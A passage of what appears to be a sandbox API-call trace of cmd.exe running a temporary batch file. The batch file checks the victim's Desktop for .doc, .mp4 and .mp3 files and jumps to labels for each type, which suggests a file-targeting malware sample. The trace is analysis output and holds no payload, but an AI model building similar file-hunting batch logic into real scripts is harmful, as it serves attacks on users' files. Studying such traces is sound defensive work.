(_FileHandle=3) returned 0x74 [0037.701] GetFileType (hFile=0x74) returned 0x1 [0037.701] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.701] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0037.701] GetProcessHeap () returned 0x4e0000 [0037.701] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.702] GetProcessHeap () returned 0x4e0000 [0037.702] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.702] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.702] GetProcessHeap () returned 0x4e0000 [0037.702] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.702] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.702] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.702] GetProcessHeap () returned 0x4e0000 [0037.702] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.702] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.702] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.702] GetProcessHeap () returned 0x4e0000 [0037.702] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.702] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.702] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.702] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.702] GetProcessHeap () returned 0x4e0000 [0037.702] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.702] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.702] GetProcessHeap () returned 0x4e0000 [0037.702] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.702] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.702] GetProcessHeap () returned 0x4e0000 [0037.702] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.703] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.703] _tell (_FileHandle=3) returned 2084 [0037.703] _close (_FileHandle=3) returned 0 [0037.704] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0037.704] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.704] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.704] GetLastError () returned 0x2 [0037.704] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.704] GetLastError () returned 0x6 [0037.704] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.704] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.704] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.704] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.705] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.705] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.705] SetConsoleInputExeNameW () returned 0x1 [0037.705] GetConsoleOutputCP () returned 0x1b5 [0037.705] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.705] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.705] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.706] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.706] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.706] SetFilePointer (in: hFile=0x74, lDistanceToMove=2084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0037.706] GetProcessHeap () returned 0x4e0000 [0037.706] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.706] GetProcessHeap () returned 0x4e0000 [0037.706] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.706] GetProcessHeap () returned 0x4e0000 [0037.706] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.706] GetProcessHeap () returned 0x4e0000 [0037.706] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.706] GetProcessHeap () returned 0x4e0000 [0037.706] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.706] GetProcessHeap () returned 0x4e0000 [0037.706] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.706] GetProcessHeap () returned 0x4e0000 [0037.706] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.706] GetProcessHeap () returned 0x4e0000 [0037.706] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.706] GetProcessHeap () returned 0x4e0000 [0037.706] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.706] GetProcessHeap () returned 0x4e0000 [0037.706] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.706] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.706] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0037.707] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e09, lpOverlapped=0x0) returned 1 [0037.707] SetFilePointer (in: hFile=0x74, lDistanceToMove=2086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0037.707] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n") returned 2 [0037.707] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.707] GetFileType (hFile=0x74) returned 0x1 [0037.707] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.707] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0037.707] GetProcessHeap () returned 0x4e0000 [0037.707] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.707] GetProcessHeap () returned 0x4e0000 [0037.707] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.707] _tell (_FileHandle=3) returned 2086 [0037.707] _close (_FileHandle=3) returned 0 [0037.707] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.707] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.708] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.708] SetFilePointer (in: hFile=0x74, lDistanceToMove=2086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0037.708] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.708] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0037.708] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e07, lpOverlapped=0x0) returned 1 [0037.708] SetFilePointer (in: hFile=0x74, lDistanceToMove=2111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0037.708] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n") returned 25 [0037.708] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.708] GetFileType (hFile=0x74) returned 0x1 [0037.708] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.708] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0037.708] GetProcessHeap () returned 0x4e0000 [0037.708] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.708] GetProcessHeap () returned 0x4e0000 [0037.708] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.708] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.709] GetProcessHeap () returned 0x4e0000 [0037.709] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.709] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.709] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.709] GetProcessHeap () returned 0x4e0000 [0037.709] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.709] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.709] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.709] GetProcessHeap () returned 0x4e0000 [0037.709] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.709] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.709] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.709] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.709] GetProcessHeap () returned 0x4e0000 [0037.709] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.709] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.709] GetProcessHeap () returned 0x4e0000 [0037.709] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.709] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.709] GetProcessHeap () returned 0x4e0000 [0037.709] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.709] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.710] _tell (_FileHandle=3) returned 2111 [0037.710] _close (_FileHandle=3) returned 0 [0037.710] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0037.711] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.711] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.711] GetLastError () returned 0x2 [0037.711] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.711] GetLastError () returned 0x6 [0037.711] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.711] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.711] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.711] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.712] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.712] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.712] SetConsoleInputExeNameW () returned 0x1 [0037.712] GetConsoleOutputCP () returned 0x1b5 [0037.712] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.712] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.713] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.713] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.713] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.713] SetFilePointer (in: hFile=0x74, lDistanceToMove=2111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0037.713] GetProcessHeap () returned 0x4e0000 [0037.713] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.713] GetProcessHeap () returned 0x4e0000 [0037.713] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.713] GetProcessHeap () returned 0x4e0000 [0037.713] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.713] GetProcessHeap () returned 0x4e0000 [0037.713] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.713] GetProcessHeap () returned 0x4e0000 [0037.713] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.713] GetProcessHeap () returned 0x4e0000 [0037.713] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.713] GetProcessHeap () returned 0x4e0000 [0037.713] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.713] GetProcessHeap () returned 0x4e0000 [0037.713] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.713] GetProcessHeap () returned 0x4e0000 [0037.713] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.713] GetProcessHeap () returned 0x4e0000 [0037.713] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.714] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.714] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0037.714] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dee, lpOverlapped=0x0) returned 1 [0037.714] SetFilePointer (in: hFile=0x74, lDistanceToMove=2113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0037.714] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n") returned 2 [0037.714] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.714] GetFileType (hFile=0x74) returned 0x1 [0037.714] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.714] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0037.714] GetProcessHeap () returned 0x4e0000 [0037.714] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.714] GetProcessHeap () returned 0x4e0000 [0037.714] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.714] _tell (_FileHandle=3) returned 2113 [0037.714] _close (_FileHandle=3) returned 0 [0037.715] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.715] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.715] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.715] SetFilePointer (in: hFile=0x74, lDistanceToMove=2113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0037.715] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.715] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0037.715] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dec, lpOverlapped=0x0) returned 1 [0037.715] SetFilePointer (in: hFile=0x74, lDistanceToMove=2138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0037.715] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n") returned 25 [0037.715] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.715] GetFileType (hFile=0x74) returned 0x1 [0037.715] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.715] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0037.715] GetProcessHeap () returned 0x4e0000 [0037.715] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.715] GetProcessHeap () returned 0x4e0000 [0037.716] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.716] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.716] GetProcessHeap () returned 0x4e0000 [0037.716] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.716] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.716] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.716] GetProcessHeap () returned 0x4e0000 [0037.716] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.716] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.716] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.716] GetProcessHeap () returned 0x4e0000 [0037.716] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.716] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.716] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.716] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.716] GetProcessHeap () returned 0x4e0000 [0037.716] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.716] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.716] GetProcessHeap () returned 0x4e0000 [0037.716] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.716] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.716] GetProcessHeap () returned 0x4e0000 [0037.716] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.717] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.717] _tell (_FileHandle=3) returned 2138 [0037.717] _close (_FileHandle=3) returned 0 [0037.718] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2b [0037.718] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.718] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.718] GetLastError () returned 0x2 [0037.718] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.718] GetLastError () returned 0x6 [0037.718] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.718] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.719] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.719] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.719] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.719] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.719] SetConsoleInputExeNameW () returned 0x1 [0037.719] GetConsoleOutputCP () returned 0x1b5 [0037.720] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.720] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.720] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.720] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.720] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.720] SetFilePointer (in: hFile=0x74, lDistanceToMove=2138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0037.720] GetProcessHeap () returned 0x4e0000 [0037.720] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.720] GetProcessHeap () returned 0x4e0000 [0037.720] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.720] GetProcessHeap () returned 0x4e0000 [0037.720] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.720] GetProcessHeap () returned 0x4e0000 [0037.720] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.720] GetProcessHeap () returned 0x4e0000 [0037.720] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.720] GetProcessHeap () returned 0x4e0000 [0037.720] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.721] GetProcessHeap () returned 0x4e0000 [0037.721] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.721] GetProcessHeap () returned 0x4e0000 [0037.721] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.721] GetProcessHeap () returned 0x4e0000 [0037.721] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.721] GetProcessHeap () returned 0x4e0000 [0037.721] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.721] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.721] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0037.721] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dd3, lpOverlapped=0x0) returned 1 [0037.721] SetFilePointer (in: hFile=0x74, lDistanceToMove=2140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0037.721] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, 